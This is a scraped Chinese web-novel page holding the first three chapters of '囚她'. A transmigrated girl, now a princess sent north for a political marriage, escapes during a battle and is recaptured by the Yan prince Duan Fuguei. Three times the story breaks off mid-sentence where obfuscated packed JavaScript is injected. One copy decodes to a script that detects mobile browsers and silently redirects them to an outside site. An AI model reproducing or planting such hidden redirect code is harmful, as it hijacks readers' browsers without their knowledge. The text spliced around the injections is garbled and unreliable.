《囚她》 1. 和亲公主 “公主的病还不见好,怎么办?” 昏暗的驿舍内,一个身着青衣侍女模样的少女面露焦急,望着床上依旧昏迷着的少女,几要落下泪来。 屋中另一个宫女听了这话,同样不知所措,只垂头低泣,公主要是不好了,她们能活着吗? 两人还没想好怎么办,这时屋外传来一道催促的男声,“公主收拾好了吗,快点登车,将军说要准备启程了。” 陶儿闻言一愣,想到公主已经昏厥一天一夜了,表情几经挣扎,最终还是心一横,对着门外的人请求:“可否通禀将军稍留一日,公主病得实在厉害,到现在都没醒,继续赶路恐怕……恐怕就要不好了……呜呜…” 对方听了这话,没回她,只传来几声渐行渐远的脚步声。 又过了片刻,房门毫无征兆地被推开,一个约莫三十岁男人直接跨了进来。 这便是先前陶儿口中的将军了,然而他却没挂甲,反而褒衣博带,身材清瘦,一副士人打扮,在他身后还跟着个须发半白挎着药囊的老者。 “你们怎么服侍人的?怎么就忽然病得起不了身了?”王适之一进门便直直看向里侧的床铺。破旧的驿舍没有床帐,借着门口照进的天光,他一眼看清女孩儿的模样,她闭眼躺在床上,脸色灰白,全无生气,露在被子外的手腕瘦骨伶仃,微弱的呼吸仿佛随时都会消失,倒真是一副重病将休的模样。 平白多了件麻烦,王适之皱起眉头,眼里流露出几分不虞,挥挥手,身后的郎中便十分有眼色地趋步上前。 …… “公主寒症凶急,又离了故土水土不服,外加连连赶路加重了病症,若不精心治养,确实有性命之危。” “真有这么严重?” “草民不敢欺瞒将军。” “那赶紧治,不管用什么法子,都必须保证她给我活着送到燕国。” …… 纪吟觉得自己在做梦,她听到一些发音古怪的话语,奇怪的,她竟能听懂。 她头疼得厉害,思绪几乎停滞,暂时理不清这其中的关系,只隐隐约约听清对方说“暂留一日养病”,男声就消失了,只剩些许细碎的女声以及走动的声响。 接着纪吟又感觉自己嘴里好像被灌了什么,她迷迷糊糊地想,还真是头一回做这么真实的梦,就是这梦太难受了些,她几乎喘不上气,该不会遇上鬼压床了吧。 又不知过了多久,斜阳将屋内桌椅的影子越拉越长,纪吟才终于再次恢复意识。 费力撑起仿若千斤重的眼皮,这一看,她傻眼了。 小窗斜射进一缕橘色夕阳,落下一道光柱,隐约照清这是间昏暗陈旧的木质屋舍,房梁低矮,空间狭小,鼻间气息腐旧,残存着岁月的痕迹。 她该不会还没醒吧?肯定是睁眼的方式不对。 纪吟闭上眼,重新睁开,然而——还是先前的屋舍。 完了完了。 “公主,您醒了,太好了。” 纪吟循声扭头,正好对上一张稚嫩关切的脸。 陌生,而熟悉。 这一瞬,混沌的记忆仿佛泄闸洪水奔涌而来,冲刷得她整个人都震颤起来。 陶儿见公主不停发抖,以为病情加重,连忙扑过来,又要哭出来。 “没、我没事儿。”纪吟连忙抬手安抚,虚虚地说。 从颤栗中缓过来,纪吟再次认真打量面前这个记忆中名叫陶儿的侍女,又看向四周昏暗古朴的屋舍,然后狠狠掐了把手心,清晰的疼痛告诉她,这不是梦,她—— 穿越了!!! 穿越成了个公主! 还是个倒霉的和亲公主! 可巧,此时的她就在和亲路上! 要不是这具身体实在太过虚弱,她几乎都要跳起来了。 这叫什么事儿啊? 纪吟只记得终于等到暑假,自己跟爸妈去海边旅游,突然起了个大浪,有个小孩儿被浪卷到了水里,她当时也没多想就冲上去救人。 好不容易把那孩子从海里拖回来,她自己也精疲力尽躺到了沙滩上,然后,然后再睁眼就到这儿了。 她当时虽然累,但并没呛水窒息,不至于就这么死了吧?不至于吧? 纪吟不敢相信自己就这么死了,更关键的,她死了爸妈怎么办啊?他们就她一个女儿。 “公主,公主,您……怎么了?” 陶儿见公主的脸色变来变去,脸上满是绝望,刚刚因公主醒来而生出的高兴也随着烟消云散,担忧地看着她。 “女郎原本不用吃这苦的,谁叫朝廷偏偏选了女郎,明明女郎都定亲了……” 纪吟看着面前这个小哭包有些无奈,她也不知怎么安慰,况且她现在的状况也没力气安慰,只好说自己要喝水。 “隔~”陶儿一听,果然顾不上哭了,连忙给她倒了杯温水喂她服下。 纪吟喝了水,果然好受了些,只是原身病得实在太严重,她现在依旧浑身乏力,头昏脑胀,借口说自己要歇息,总算让小丫头安静了。 她继承了原身大半记忆,躺在的床板上,闭上眼,在心中默默梳理目前的状况。 好家伙,这比她想象中还要糟。 穿到古代就算了,这还是个前所未有的乱世。 她所在的国家国号为齐,她学过的历史中倒也有几个叫“齐”的国家,但都与现在这个齐国对不上号。 纪吟努力扒拉记忆,发现这大概是个平行时空,历史从三国后期开始走向不同,魏国多延续了十多年,不过最后还是被篡位了,紧接着又是一轮大乱斗,最终是大司马纪兴一统天下创立了齐国。 可惜好景不长,齐国建立后没多久又发生了五国之祸。 这场持续了十多年的内斗将齐国国力消耗一空,胡人趁机南下,齐国已无力抵挡,最终被迫南迁。 朝廷南迁至今已将近五十年,齐国国力日衰,去年更是险些遭遇灭国之灾。 当时北方羯族建立的秦国号称百万大军,将要南下踏平齐国,齐国上下人心惶惶,不得已求助幽冀的燕国,请对方出兵共同抵抗秦国。 经过一番交涉,燕国最终还是同意了,却趁机提了不少要求,其中一个就是嫁公主。 如今半年过去,战事落定,齐国与燕国合力击败秦国,燕国就要齐国兑现承诺了。 原身并不是公主,按理来说和亲的事也轮不到她,更何况她已经定亲了,奈何当今皇帝子嗣单薄,没有适龄公主,燕国态度强横,齐国不敢用宫女搪塞,大臣们便只好在宗室里面选人选。 原主父亲寿阳王纪樾虽是皇族,却不得势,生母仅是一名良家子,身后没有母族支持,他自身亦无野心,娶妻也只是普通士族,唤萧六娘。 原主父母虽无能力,对他们第一个女儿倒也十分呵护,原主便养成了个乖巧安静的性格。 巧的是,原主也叫纪吟。 她还有个十岁的胞弟,纪舷。 纪舷已经出府读书了,姐弟俩感情很好,纪舷便常跟阿姐提起读书时遇到的事,原主这个养在闺阁中的小姑娘才能对外界局势有所了解。 原主十三岁时与温家四郎温珉定了亲,只待及笄就成亲,只是临近婚期时温珉母亲得了急症去世,两人为守孝便将婚期推迟两年。 结果这一推迟就等来了和亲的命运。 原本她能有个门当户对的夫君,现在却要被迫嫁给一个五十多岁的老头子,对方还是茹毛饮血的胡人,好几个成年儿子比她还大,老得都能当她爹了,再有权势也不是良人,纪樾夫妻俩心疼不已,可他们又是软弱的,不敢反抗朝廷,原主的命运就这么被决定了。 原主一个长在闺阁的小姑娘,从没离开过家,去的最远的地方就是在上巳日跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她试着从床上坐起,刚一动,床尾打盹儿的陶儿就被床板吱呀的声音惊醒,连忙过来扶她起身。 纪吟被她服侍着擦脸、擦手,接着小丫头又从炉子上端来一碗温粥。 “公主,吃点东西吧。” 纪吟看她忙上忙下,怔了下。 陶儿跟原主一样大,刚满十六岁,在现代才上高中,或许还会叛逆地跟父母发脾气,在这个时代却能把人伺候得十分妥帖了。 陶儿用调羹勺了一勺喂到纪吟嘴边,纪吟本想说自己吃,可她低估了这具身体的虚弱程度,连抬手都困难,只好就着陶儿的手一口一口喝下米粥。 吃完饭,纪吟正要躺下休息,这时门口传来几道凌乱的脚步声。 “公主醒了吗?” 陶儿:“醒、醒了。” “将军说了,醒了就准备出发吧。”不容辩驳的命令语气,说完对方就走了。 纪吟将他们的对话听在耳中,手指曲到掌心。 连个传话的人态度都如此随便,很显然,她这个和亲公主毫无地位,队伍里所有人都只听令于中郎将王适之。 原主的记忆里隐约记得母亲跟她说过会打点送嫁郎官,让对方在路上对她多照顾些,现在看来,不知道是没打点到位还是这个王适之根本不在意她。 纪吟被陶儿服侍着换好衣裳,又被她和另一个宫女扶出房门架着上了马车。 为了让女郎好受些,陶儿在车厢中垫了好几层柔软的被褥,这些都是从家里带出来的,原本是要给她当嫁妆的,只是现在的心情早已不复当初了。 纪吟靠在软垫上,推开一丝车窗,望向这个陌生的时代。 正值春日,本该是草长莺飞的时节,路边却十分荒芜,不见屋舍麦田,更不见行人。 纪吟的目光越过大地,望向澄蓝的天空—— 她得想个办法逃跑! 2. 逃 是的,纪吟想跑。 这倒霉的和亲公主谁爱当谁当去吧,反正她不干,谁要嫁一个年纪比自己爹妈还大的糟老头子啊。 别说她根本不是这个时代的人,对齐国没有丝毫感情,就算是,她也不愿。 也别用大义来绑架她,享受富贵掌握权力的是高高在上的士人,是纪室的皇子皇孙,是那些男人们。要不是他们争权夺利,为了权势和一己私欲争斗不止,齐国何至于落到如今这个地步,说到底他们才是罪魁祸首。 如今,一个国家的责任凭什么落到一个女人头上。 而且纪吟根据原主的记忆分析了下,她这个和亲公主应该只是个添头,并不起什么决定作用。 如今天下大乱,自五十年前齐国南渡,北方大地被胡人铁蹄践踏,几十年来混战不断,直到十多年前羯人赵犍建立的秦国才击溃各个割据势力,一统中原,势力空前。 身在辽西的段部鲜卑则击败了辽东的慕容鲜卑,又继续扩张占领整个幽州和冀州,燕王段遨宣布建立燕国,在八年前正式登基称帝。 后来秦国坐大,北燕虽抵挡住了秦国的攻伐,但不管是人口还是土地都远逊秦国,去年秦国攻打齐国时北燕之所以出兵,也是因为燕国不愿秦国继续坐大进而威胁到他们。 所以,不是因为联姻燕国才出手相助,而是局势逼得他们不得不联合起来。 燕国地处偏远,又是胡人,自来被中原王朝鄙薄,为与周边部族对抗,二十年前还曾称藩于齐国以求获得北地汉人的民心,在当时天下人看来,终究齐国才是正统。 当时的燕王段莒派使者来齐国请求齐国皇帝的正式册封,结果齐国上下认为鲜卑蛮人不值得齐国藩王的殊荣,不仅拒绝了段莒的请求,还羞辱了对方的使者。段莒由此对齐国心生怨恨,两国关系决裂。 然而此事之后,齐国逐渐衰败,北燕却一日比一日强大。 如今燕国不知是出于报复亦或是羞辱,才指定要齐国嫁公主。 如果她半路逃了,燕国那边或许会生气,但除非燕国皇帝昏了头连江山都不要了,不然应该不会破坏现有的局面,秦国虽败,那也是伏在两国枕侧的恶虎。 纪吟在心中盘算清楚,理论是可行的,实际呢? 她垂头看着自己的手,手背苍白瘦弱得仿佛一张半透明的纸,映出皮肤下宛如不规则蛛网般的青色血管,可怖,可怜。 她现在的身体状况,别说逃跑,多走两步路都能把自己累死。 且她初来乍到,对周围的环境还不了解,总得多打听点消息才能行动。 打定主意,纪吟收回视线,闭上眼,靠在软垫上准备好好养精蓄锐。 但……这破路实在太颠了吧? …… 赶了半日路,队伍停下修整时,陶儿端了碗羊乳粟粥来。 以往原主心中哀戚,食不下咽,每顿不过强喝几口,身体自然就垮了下去,纪吟却一口气吃了大半碗。 陶儿十分惊喜,“公主总算肯多用些饭了。” 陶儿跟随行的其他宫人不同,她本就是纪吟家的侍女,从小伺候纪吟,主仆俩感情不错,前几日“纪吟”半死不活的样子可吓坏她了。 吃完饭,过了片刻,陶儿又端来一碗汤药。 纪吟瞧见那黑乎乎的颜色,闻到那浓烈刺鼻的气味,还没喝嘴里就泛起了苦。她最讨厌喝中药了。但想着未来的逃跑计划,身体是革命的本钱,她心下一横,捧过药碗,屏着呼吸一口灌下去。 下一秒,她五官都扭曲了。 天,这是人该喝的东西吗?呕! 不知是心理作用还是药效确实不错,纪吟连喝两天后,病情确实好了不少,能被陶儿搀扶着下地走动了。 照着速度,再养上十天半月应该就能自由行动了。纪吟乐观地想。 - 这日,队伍在傍晚抵达一个小镇。 说是镇子,因为连年战乱,屋舍早已破败不堪,路上亦不见几个行人,唯有春草繁芜,颇是几分城春草木深的凄凉。 纪吟被陶儿扶着下了马车,路过张虎时特意停下脚步。 “张将军。”纪吟轻唤一声。 张虎见状,忙垂首行礼,“卑职不敢当公主一句将军,公主有什么吩咐?”语气恭敬。 “没、没什么吩咐,只是想问问将军,我们现在走到哪里了。”纪吟维持着原主安静柔弱的形象,半侧身体,垂着眼小声说。 她这两句话看似随意,实则是仔细考虑过的。 通过这几日的观察,纪吟发现这支队伍名义上虽是中郎将王适之统领,实则都是张虎在负责杂事。 王适之出身士族,并不耐烦与下面的军士打交道,且他性情高傲,也不把她这个“公主”放在眼里,若找王适之,对方或许根本懒得搭理她,因此她才找上张虎。 张虎只是个职位低微的参军,纪吟的公主身份在他面前才能有两分影响,他现在确实称不上将军,可未尝没有当将军的向往,纪吟这样称呼十分抬举,他心里必然是受用的。 果然,张虎立马回了她,“回禀公主,现下刚到下邳,还在彭城地界。” 下邳?那应该已经过了淮水了。 纪吟又作出一副害怕神色,“那……我们出了齐国,还安全吗?周围都有些什么人,北方的胡人会不会半路杀出来……” 张虎连忙保证,“公主放心,秦军主力并不在附近,周围不过一些本地百姓和流匪,卑职一定会护卫您的安全。” 纪吟脸上才仿佛松了口气,又天真地问他,“照现在的速度,我们还要多久才能抵达燕国啊?” 张虎道:“过了彭城,再穿过兖州就是冀州燕国了,还要一个月。” 纪吟两眼一黑,她的屁股还要被颠一个多月…… 但从另一个方面来说也算好消息,她还有一个月的时间准备逃跑。 这日以后,纪吟每天努力吃饭好好睡觉,傍晚住宿时偶尔不经意地跟张虎说几句话,无非是问问到哪儿了,周围是什么情况。张虎当然不知道面前这个看似柔弱的公主实际在谋划着逃跑,又见她对自己这般底层粗人的态度都如此温和,不过随口几句话,便都答了。 纪吟一边养身体一边默默将自己收集到的信息整合起来,开始规划逃跑路线,然而,计划赶不上变化。 这天队伍行进到聊城,张虎打马走在前面开路,他突然发现远处的半空起了扬尘。 他当即意识到有情况,去向王适之禀告。 王适之虽是领头长官,可他从来只坐镇后方,哪里有多少战场经验,便不甚在意地道:“不过些许烟尘,许是北地风沙太大了。” 张虎皱起眉头,又劝,“此地毗邻秦国,万一秦军来袭……” “秦国新败,哪里敢再起衅端!”王适之语气中已然带了斥责。 张虎犹想再劝,刚张口,他面色巨变,因为他听到了马蹄声。 队伍一下就慌了。 纪吟坐在后面的马车中,起初并不知发生了什么事,直到那闷雷似的马蹄声从远处传来,她意识到一件事——队伍遇袭了。 她没有经验,从马蹄声里也判断不出敌军有多少人,但己方只有五六百人,骑兵还不到三分之一。 他们现在所处的聊城属于河南地界,而这个地方最大的特点就是一马平川,无险可守,要是对方骑兵数量足够多,那结果…… 纪吟不敢再想。 马蹄声越来越近,越来越重,清晰得仿佛踏在她鼓膜上。 紧接着外面传来了喊杀声、惊叫声、哭声,还有兵刃相击声,混杂成一支催命鼓曲敲打着她的心脏。 纪吟整个人都僵硬了,脑中一片空白,她从没经历过这样的危机,不知道自己该做什么或是能做什么,才能在这种情况保下自己的小命。 身旁的陶儿更是被吓得面色惨白,缩成一团抖个不停。 忽然,“铎”的一声震响,一道凌厉劲风拂过纪吟脸颊,她这才回过神来,定睛一看,车厢右壁多了一支箭矢,锋利的箭头深深扎进木质的车壁里,几要将这木板劈开。 纪吟惊出一身冷汗,瞪大眼,喉咙里却发不出一丝声音。 她刚刚坐的位置要是偏一点,这箭射中的就不是车壁而是她的脑袋了。 这一箭也让她从刚才麻木的状态里清醒过来,车厢狭小没有躲避空间,况且这辆马车根本就是一个活靶子,继续留在这里只能坐以待毙。 她想了想,飞快解开衣带,脱下身上显眼名贵的外袍丢在车上,只着内里素色的衬裙,抓起陶儿的胳膊,“走,我们下车去。” 陶儿惊恐又不解地看着她。 纪吟已经没时间跟她解释了,直接抓着她一起行动。 她先推开一道门缝,小心观察了眼,找准一个看起来安全些的空挡,飞快下跳下马车,躲到马车东面。 秦军是从西面杀过来的,借着车厢恰好能遮掩住她的身形。 下车后她纪吟才发现,现场的厮杀惨烈得远超她的想象和认识。 血,殷红黏稠的血淌得到处都是,她甚至还能从血迹蜿蜒的姿态里感受到其中残留的从人体中带出的温度,满地的尸体,头颅,断肢,那刚断的手掌上,手指还在动,试图抓住什么…… 穿越到现在半个多月的时间里,纪吟一直没什么真实感,她总感觉现在的一切都像一场虚幻的梦,直到此刻,这个世界以一种前所未有的血腥姿态地让她认识到什么是乱世。 她真的永远地离开那个和平繁荣的世界了。 纪吟以前连杀猪杀鸡都不忍心看,然而现在她必须睁大眼看着这场屠杀,努力从中找寻活命的机会。 不远处一个秦军猛地砍断一个齐军脖颈,那头颅顺着地势一路朝马车滚来,穿过车底滚到纪吟面前,正好露出染血的脸,上面一双眼睛大睁。 陶儿瞳孔骤缩,下意识惊叫,纪吟眼疾手快地捂住她的嘴巴,下一秒,陶儿身体一软,已然是被吓晕了过去。 纪吟自己都没想到自己能这么冷静,竟没像陶儿那样晕死过去。 随着混战时间越来越久,渐渐的,齐军的颓势越来越明显,一个接一个倒下。 “来人!快来人!” “快给我挡住敌军。” 王适之大喊,不断叫人过去保护他,护卫在马车附近的人越来越少。 怎么办?她现在该怎么办?纪吟焦灼万分。 这时她余光瞥见不远处一匹空马,马腹处溅有血迹,应是原本的将士战死了,马儿没了主人,依循躲避危险的本能跑到了外围。 纪吟盯着那马看了两秒,脑海里突然冒出一个大胆且疯狂的念头。 秦军人多,又多骑兵,若是没有奇迹,齐军早晚会败的,届时落到他们手里,她的下场只会生不如死,她绝不愿那样苟延残喘的活着。 既然都是死,还不如赌一把,万一赢了呢?她不仅能保住小命,还能摆脱和亲的命运。 这个念头越来越疯狂,最终,纪吟下定了决心——逃! 道路早已荒芜,四周都是半人高的枯草,这正好给了纪吟方便。 她猫着身体,借着杂草遮掩身形,小心翼翼地离开马车,竟顺利地来到马儿身边。 战马对纪吟来说太高,还好这些日子她努力吃饭身体好了不少,抬脚踩住马镫,她用尽全身力气爬上马背。 纪吟没学过骑术,只在旅游时由养马人牵着体验过骑马,但她现在顾不上这些了。 她扣住马鞍,牵着缰绳,用力拍了拍马背。 “架!” 幸运之神眷顾了她,马儿跑起来了。 纪吟看准方向,骑着马往东面狂奔而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王适之看到这一幕,十分惊喜,段伏归一来,自己能得救了。 齐国士兵同样振奋起来。 唯有秦军,听说燕国三皇子段伏归来了,竟开始慌乱起来。 赵耀吼了几句,命令下面的人向段伏归进攻。 “凡有后退者,斩!” “谁能拿下段伏归的头颅,赏万金!” 然而如此重赏,竟也没能激励到秦国士兵,相反,燕国骑兵却在段伏归的带领下士气大涨,如狼似虎地咬过来。 段伏归一路神挡杀神,很快就逼至赵耀面前,赵耀别无选择,只能亲自迎上去。 段伏归见状,唇角勾起一抹冰冷的弧度,“上次让你逃了,今日我必取汝头。” 赵耀心中一凛,后脊莫名爬上一股寒意。 …… 一场混战,由段伏归的到来转危为安。 赵耀以为上次战败只是吃了计谋的亏,低估了段伏归的实力,结果被他横刀斩落马下。 主将一死,秦军四散溃逃。 段伏归并没有命人追击,反而第一时间询问车队的情况。 王适之本是看不起燕国这等蛮夷之族建立起来的政权的,可刚才亲眼见到段伏归率领下的燕军有多凶猛,现在情况又是彼强我弱,便也不敢拿乔,舍了一直以来的士族傲气,忝脸赔笑:“幸得殿下援军及时赶到才助我等解了秦军之危……” 他还在说着场面话,段伏归根本没听,目光犀利地落到了不远处的马车上。 “你们的公主呢?”他问。 王适之一愣,下意识回道:“公主在车里。” 段伏归大步走到马车面前,横刀挑开车门,里面空空荡荡,别说人,连具尸体都没有。 他侧颈回看过来,侧脸轮廓在淡淡的天光里格外锋利,面上残存的血迹映照出凛凛煞气。 “车里?”他轻问。 王适之听这语气心头一毛,伸着脖子朝里一看,“这……公主一开始确实是在车里的……” “是吗?”段伏归不咸不淡地说。 “齐国该不会又想羞辱我燕国,根本没带公主来吧?”段伏归身边一名亲兵大声质问,明显是在拿二十年前那件事作筏子。 “岂敢岂敢。”王适之心里发苦,他是真带了公主来的。 他当即下令赶紧找,活要见人死要见尸。 这时有人来报,“小人看到公主骑马往东逃去了。” 段伏归听到这话,眼神一闪。 王适之就要派人去追,段伏归去抬手阻止了他,自己翻身上马,亲自追过去了。 - 纪吟成功逃离战场,身后的厮杀声越来越远,耳边只剩呼呼作响的风声。 她看到一望无际的原野、天空、夕阳,苍茫辽阔,从穿越到现在一直压抑着的心境也跟着开阔起来。 她不想当什么和亲公主,不想被当权者当成玩物送来送去,她只想尽可能自由地活着。 纪吟一刻不停地策马奔腾,正当她以为自己终于逃离,身后蓦地出现一队追兵。 “停下!” 纪吟猛地一僵,竟差点从马上栽下去。 追兵追上来了。她第一反应。 不行,不能被抓回去! 纪吟夹紧双腿,又不停拍打马臀,想尽办法加快速度。 然而她的骑术如何比得过专业的骑兵,对方越来越近,纪吟甚至能清晰听到他们每一次马蹄落下的声音,生生敲在了她的心上,仿佛要炸裂开来。 “公主,快停下,我们是自己人。”又有人喊。 纪吟听到这话,自己人?自己人更要跑了。 她好不容易逃出来,绝不要再回去。 身后的人不停喊话,纪吟全部充耳不闻。 段伏归见她仍不肯停马,微眯起凤眸,竟松了缰绳,只靠双腿驭马,转而拿起挂在马背上的弓,搭箭、拉弦,瞄准,然后—— 放! 3. 见面 马儿猛地扬起前蹄,纪吟毫无防备,就这么摔下了马。 从高速奔驰的马背上摔下来,尽管有杂草和泥土缓冲,纪吟的五脏六腑依旧遭到重击,眼前一黑,疼得差点让她晕过去。 好不容易从剧烈的疼痛中缓过神来,纪吟下意识去看自己的马,只见它已倒在了地上,脖子上赫然插着一支箭矢,矢端全部没入皮肉,这箭若射到她身上,足以将她射个对穿。 想到这儿,纪吟浑身的血仿佛都凝固了。 还不等她反应过来,整个人忽被一团阴影笼罩,下一瞬,寒芒倏闪,一道坚硬冰冷的刀锋贴上纪吟下颌。 男人居高临下,用才杀了人的染血长刀挑起她下巴。 那刃口极利,像条毒蛇一样缠在她脖子上,她甚至能清晰感觉到铁刃贴在肌肤上的冰冷的寒意,纪吟被吓得一动也不敢动,连口水都不敢吞咽,只能小心抬起眼珠子去看来人。 逆着光,她看不清男人的五官,只看到一个异常高大雄壮的轮廓坐在战马上,带着慑人的压迫感。 废话,谁被刀抵着脖子能不害怕啊。 纪吟屏住呼吸,小心翼翼,下一秒却猛地注意到他左手边上的弓。 是他,是他放的箭! 纪吟一瞬间十分愤怒,然而一动脖子上就传来尖锐的疼痛,她硬生生把把这份怒意压下。 残阳如血,芒草繁芜,长刀、鲜血,高坐在战马上的男人和低伏的柔弱少女,众人所见的便是这样一幅极具冲击力的画面。 许是震慑到位,看出她不会再逃了,段伏归长刀一动。 纪吟猛地闭上眼,劲风卷起凌乱发丝。 幸好对方只是收刀。 段伏归利落下马,大步跨至她面前。 纪吟颤抖着撑起眼皮,这才看清他的模样,高鼻深目,眉骨突出,乍一看算得上英挺,然而他黑色的眼瞳深处却带着一抹妖冶的幽蓝,这般明显的异域感,显然不是汉人。 男人甫一出现就给了个十足的下马威,现下离得近了,身着战甲的高大身躯如铁山一般压过来,纪吟越发感受到男人无形中散发出来的迫人气势,几要让人喘不上气。 “为什么跑?” 男人开口了,出乎纪吟的意料,他讲了一口流利的汉语。 当然,现下这些都不重要,既然逃跑失败,她必须想办法为自己先前的行为开脱。 人在屋檐下不得不低头,留得青山在不愁没柴烧。 纪吟忙垂下头,轻环住肩膀,睫羽扑闪,作出一副害怕柔弱的模样,细嫩的声音打着颤儿,“当、当时敌军太多,我太害怕了,只想赶紧逃开那里。” 似印证她的说辞,眼尾处还滴下一滴晶莹的泪来。 段伏归站在她面前,居高临下,面前这女子确实瘦弱不堪,一双水汪汪的眸子配上苍白瘦削的小脸,衬得她可怜极了,但他可没错过她第一眼看向自己时的表情,眼睛瞪得圆圆的,分明有种被坏了好事的愤怒。 段伏归的眼神从她脸上下移,落到她胸口处。 她只穿了里衣和素白衬裙,一路狂奔又刚从马上摔下来,衣襟凌乱,也没来得及整理,正好露出小片锁骨。 纪吟察觉到他探究的眼神,不敢跟他对视,敬业地出演自己柔弱无助的形象。 她听男人好似嘲弄地笑了下,然后又听他说,“原来你害怕的时候还记得脱下外衫避免招眼。” !!! 纪吟心头一震,这男人什么意思?是看穿她的意图了?想因此惩治她?正当纪吟思索着要不要趁机装晕来躲避男人的盘问时,他却忽然转身命令,“回。” 他这是放弃了还是什么?纪吟琢磨不透男人的想法,但他不追问对她而言来说是好非坏。 纪吟撑着胳膊努力从地上站起,刚一动,却又跌了回去。 她穿越才不过半个月,原主那虚弱的底子本就还没养好,刚才又骑马狂奔了一路,那时肾上腺素狂飙感觉不到累,现下停下来,被透支的身体软得跟面条儿似的,她连起身都困难,更不要说她还从马上摔下来,就算骨头没断肯定也破皮了,一动就疼得厉害。 男人察觉到她的异样,顿住脚步,紧接着二话不说,抓起她的衣裳将她拎上马。 纪吟下意识挣扎,余光却又瞥见她的马,被一箭射中脖颈动脉,早已绝气身亡。 当时她在马上狂奔,移动中本就不好射中,她与马头距离这么近,保险起见的话对方应该射马腿或马臀,这男人却直接射马头,到底是对自己的箭术有十足的自信,还是根本不在乎她的性命。 但凡有点差错,她恐怕早就见阎王去了。 想到这儿,纪吟心里打了个颤,对男人的狠辣手段有了更清晰地认知,也不敢反抗,任由他把自己塞上马带回驻扎地。 刚一回来,陶儿就急急迎了上来,看到两人同乘一马,先是愣了几息,然后喜极而泣,“公主,太好了,您没事。” 纪吟看着她,忽然有点愧疚,她逃跑时根本没想那么多,结果把她丢在了原地。 段伏归翻身下马,顺便把她也拎了下来。 纪吟被勒得生疼,感觉自己好像成了他手里一个布娃娃,随随便便拎来拎去,只是敌强我弱,她也不敢发表意见。 “血!公主受伤了?”陶儿又惊叫起来。 纪吟下意识摸摸脖子,指尖果然沾上殷红的污渍,应是被男人的刀蹭上的。 “不是我的血,我没事,放心吧。”她安慰了小丫头一句。 接着纪吟看到不远处旌旗上一个大大的“燕”字,印证了她心里的猜测,果然是燕国军队。 她既庆幸燕军来得及时救下大家的性命,又恨他来得这么快,要是再晚一点,说不定自己就能逃出升天了。 纪吟现在衣衫不整,不好在外面久待,陶儿扶她进马车整理,恰在这时有人来问段伏归,“三殿下,我们抓到秦军一百六十七个,要怎么处置他们?” 段伏归闻言,想也没想便道:“全部杀了。” “是。” 纪吟听到这话,肩膀一顿,并没回头看他,只加快走到马车旁,车壁外扎了数支箭矢,好在马车整体没被破坏,里面的衣裳被褥都还在。 换好衣裳,纪吟又想起了男人,燕军叫他三殿下,他应该就是燕国三皇子段伏归了。 连原主这个养在深闺里的小女孩儿都听说过段伏归,可见他确实不容小觑。 燕国地处偏远,前几年段伏归的名声在南齐还不显眼,直到去年与秦国交战,段伏归以两万兵马大败十万秦军,由此威名远播。 当然,具体内情怎样纪吟是不知道的,但从今天短暂的交锋来看,段伏归绝对不是一个有勇无谋的人。 真倒霉,遇到这么个煞神,也不知接下来能不能顺利逃跑。 晚上,向来多吃多睡的纪吟没了胃口,尤其想到白日里的场景,心中就直犯恶心。 除了吃不下,她也睡不好,久久不能入睡。 熬到下半夜,纪吟好不容易睡着了,却又从噩梦中惊醒,大口大口喘着气,一摸额头,全是冷汗,白日的她看似镇定,可头一次经历这么血腥的事,她怎么可能不害怕。 她想爸妈了,也想那个和平安稳的世界。 她以后真的只能在这没有人权的乱世活下去吗?她能平安活下去吗? 想到这些,纪吟忍不住流下泪来。 穿越这么久,她从没哭过,一直告诉自己要坚强,但经历了生死存亡的一天,从希望到破灭,她再坚强也控制不住自己的情绪了。 旁边还有陶儿,纪吟怕吵醒她,也不敢发出声音,只咬紧牙关抑住自己的声音,唯有泪水无声滑落眼角。 只能放纵这一次。纪吟告诉自己。 第二天纪吟才得知王适之不再北上了,接下来由燕军带领队伍继续北上燕国,她心头一沉。 段伏归的心机明显比王适之深沉,这样一来,她逃跑的机会就更渺茫了。 纪吟低落了一瞬,紧接着她安慰自己,只要不放弃,只要耐心等待,总能再找到机会的。 这样想着,她推开一丝车窗,照常观察外面的环境,却看到骑马走在旁边的段伏归。 对方似察觉到了什么,恰在此时侧过头,眼神沉沉地压了过来。 纪吟毫无防备,愣了下,忙移开视线,手忙脚乱地阖上了车窗。 片刻后,她懊恼地锤了下头。 她开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625997|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的缝并不大,车内光线昏暗,段伏归或许根本都看不清她的表情,再说,开窗看看外面又不犯法,她这样反倒显得欲盖弥彰。 许是男人昨日那话留下的阴影,加上他锐利的眼神,一对上他纪吟就有种莫名的心虚。 段伏归将她一系列小动作尽收眼底,哼笑了声。 本以为齐国送来的公主不过是柔弱娇花,结果这朵花却有些不同,外表看起来确实柔弱,内里有没有刺可就不好说了。不过这样倒也有意思,说不定路上不会乏味了。 段伏归想着,眼底起了两分兴味。 因为这个插曲,接下来两天纪吟都小心翼翼,轻易不敢再开车窗。 队伍一日日往北,越来越临近燕国。 原先由齐军护送时她还能凭借自己的身份跟下面的人问几句话,但换了燕军,一来许多人不会说汉话,沟通困难,二来他们也不把自己放在眼里,三来纪吟怕再有什么引起段伏归的怀疑,于是纪吟至今还没找到跑路机会,心中难免有两分焦灼。 午间时分,队伍中途修整。 颠了半日,纪吟也难受得紧,下车活动手脚。 这些日子她刻意躲着段伏归,好在对方也没来找茬,算是相安无事。 